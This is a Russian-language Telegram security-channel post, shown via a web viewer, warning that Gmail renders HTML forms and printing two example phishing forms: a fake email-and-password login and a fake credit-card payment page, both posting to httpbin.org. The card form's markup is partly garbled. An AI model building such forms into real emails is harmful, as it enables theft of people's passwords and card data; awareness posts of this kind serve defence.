TGViewer
C.I.T. Security C.I.T. Security @citsecurity · 8.96K subscribers
Post #8883 1.68K

Forwarded from Интернет-Розыск

🦠 Знаете ли вы, что Gmail позволяет использовать HTML-тег <form> ? Эта функция представляет потенциальную угрозу безопасности, особенно при попытке украсть учетные данные пользователя или конфиденциальную информацию. Учитывайте этот риск в процессе обеспечения ИБ.

1⃣Пример кода, выводящего форму для кражи пароля
<form action= "https://httpbin.org/post" method= "POST" > 
< input type = "email" name= "email" placeholder= "Email or phone" required>
< input type = "password" name= "password" placeholder= "Password" required>
< input type = "submit" value= "Next" >
</form>


2⃣ Пример кода, выводящего форму для кражи данных кредитной карты
<!DOCTYPE html > 
< html lang = "en" >
< head >
< meta charset = "UTF-8" >
< meta name = "viewport" content = "width=device-width, initial-scale=1.0" >
< title > Оплата кредитной картой </ title >
</ head >
< body >
< div class = "payment-container" >
< h2 > Оплата кредитной картой </ h2 >
< form action = "https://httpbin.org/post" method = "POST" >
< label for = "cardholder-name" > Имя владельца карты</label> < input type
= " text " id = " cardholder-name" name = "cardholder_name" placeholder = "John Doe" обязательно > <label for = "card-number" > Номер карты</label> < input type = " number " id =

" card - number " name = "
card_number " placeholder = " 1234 5678 9012 3456" обязательно > <label for = "expiry-date" > Дата истечения срока действия</label> < input type = " text " id =

" expiry - date " name = " expiry_date
" placeholder = " MM / YY " обязательно > < label for = " cvv " >

CVV </label> < input type = " number
" id = " cvv " name = " cvv " placeholder = " 123" обязательно >

< input type ="submit" value = "Оплатить сейчас" >
</ form >
</ div >
</ body >
</ html >

🍪 Поддержать канал
📱 НАШИ КОНТАКТЫ

#⃣ #OSINT #GMAIL #HACK
  • 🔥 3
  • ❤ 1
More from @citsecurity
  1. Oct 15, 2026Когда второй день подряд не воруешь контент для канала эта шутка украдена
  2. Oct 13, 2026OTinstaller — единый командный интерфейс для десятков инструментов разведки на основе откр…
  3. Oct 13, 2026Маркетплейсы могут усиливать зависимость бизнеса и ограничивать конкуренцию, говорится в и…
  4. Oct 13, 2026Компания Cisco Talos разработала бесплатный инструмент для исследования вредоносных програ…
  5. Oct 12, 2026Claude научился монтировать видео — вышел имбовый опенсорсный редактор WeftCut. • Вы прост…
  6. Oct 12, 2026Пробиваем инфу как спецслужбы — на GitHub вирусится OSINT-комбайн, который рисует связи и…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →